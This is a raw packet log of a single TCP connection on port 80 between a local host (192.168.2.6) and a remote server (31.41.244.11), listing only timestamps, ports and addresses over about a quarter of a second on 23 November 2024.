Nov 23, 2024 13:28:11.877248049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.877366066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.878132105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.878242016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.878251076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.878346920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.879213095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.879308939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.879319906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.879373074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.880086899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.880148888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.880209923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.880305052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.881058931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.881169081 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.881170034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.881236076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.882134914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.882222891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.882239103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.882280111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.883027077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.883122921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.883132935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.883421898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.884005070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.884063005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.884094000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.884200096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.885011911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.885067940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.885118961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.885196924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.886020899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.886102915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.886111021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.886184931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.886975050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.887065887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.887087107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.887238026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.887936115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.888024092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.888063908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.888137102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.888942957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.889059067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.889071941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.889139891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.889911890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.889970064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.890016079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.890064955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.891037941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.891108990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.891212940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.891262054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.891885996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.892002106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.892170906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.892226934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.892873049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.892935038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.892973900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.893043041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.893837929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.893908024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.893943071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.894015074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.894871950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.894941092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.895025015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.895090103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.898827076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.898842096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.898859024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.898874998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.898891926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.898925066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.898993015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.899163961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.899259090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.899451971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.899518967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.900394917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.900507927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.900543928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.900604963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.901376963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.901436090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.901518106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.901571035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.902259111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.902316093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.902399063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.902450085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.903172016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.903189898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.903254032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.903254032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.904114962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.904131889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.904206038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.904212952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.904222965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.904293060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.904733896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.904803991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.904836893 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.904927015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.905647993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.905744076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.905750990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.905852079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.906619072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.906734943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.906893015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.907658100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.907711029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.907741070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.907846928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.908601046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.908685923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.908703089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.908749104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.909622908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.909704924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.909734011 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.909796000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.910564899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.910625935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.910659075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.910917044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.911547899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.911637068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.911658049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.911788940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.912584066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.912646055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.912648916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.912770987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.913515091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.913619995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.913866997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.914500952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.914586067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.914613962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.914685965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.915489912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.915595055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.915745974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.916469097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.916486979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.916547060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.917484999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.917618036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.917634964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.917689085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.918433905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.918517113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.918538094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.918622017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.919433117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.919518948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.919543028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.919610023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.920392990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.920495033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.920623064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.921375036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.921427965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.921459913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.921506882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.922384977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.922450066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.922481060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.922564030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.923357010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.923471928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.923491001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.923526049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.924345016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.924420118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.924451113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.924498081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.925324917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.925429106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.925435066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.925487995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.926279068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.926354885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.076143980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.076194048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.076219082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.076268911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.076415062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.076478958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.076528072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.076603889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.077450037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.077526093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.077547073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.077626944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088267088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088345051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088459969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088495016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088530064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088560104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088562012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088617086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088622093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088651896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088709116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088716030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088768005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088789940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088804007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088835955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088838100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088859081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088872910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.088916063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.088924885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089006901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.089087009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089121103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089169025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089185953 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.089196920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.089204073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089237928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089260101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.089260101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.089272022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089307070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089325905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.089325905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.089343071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.089458942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.091171980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.091274023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.091303110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.091360092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.091391087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.091425896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.091465950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.091470957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.091504097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.091526985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.091526985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.091557980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.092220068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.092353106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.092396021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.092753887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.093230963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.093310118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.093347073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.093404055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.094492912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.094579935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.094618082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.094685078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.095367908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.095438957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.095489025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.095571995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.096111059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.096237898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.096318007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.097201109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.097317934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.097326994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.097402096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.098288059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.098376989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.098381042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.098535061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.099054098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.099124908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.099174976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.099241018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.100043058 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.100119114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.100178957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.100306034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.101022959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.101126909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.101166964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.101232052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.102035046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.102133036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.102135897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.102241993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.103012085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.103128910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.103143930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.103212118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.103971958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.104077101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.104101896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.104186058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.104964018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.105057955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.105106115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.105158091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.105938911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.106014013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.106066942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.106136084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.106916904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.107053995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.107058048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.107213020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.107923031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.108020067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.108103037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.108165026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.108886957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.109033108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.109107971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.109867096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.110001087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.110045910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.110069036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.110882044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.110955000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.110980988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.111107111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.111841917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.111963987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.111979961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.112035036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.112828016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.112930059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.112932920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.113013983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.113804102 CET	80	49729	31.41.244.11	192.168.2.6
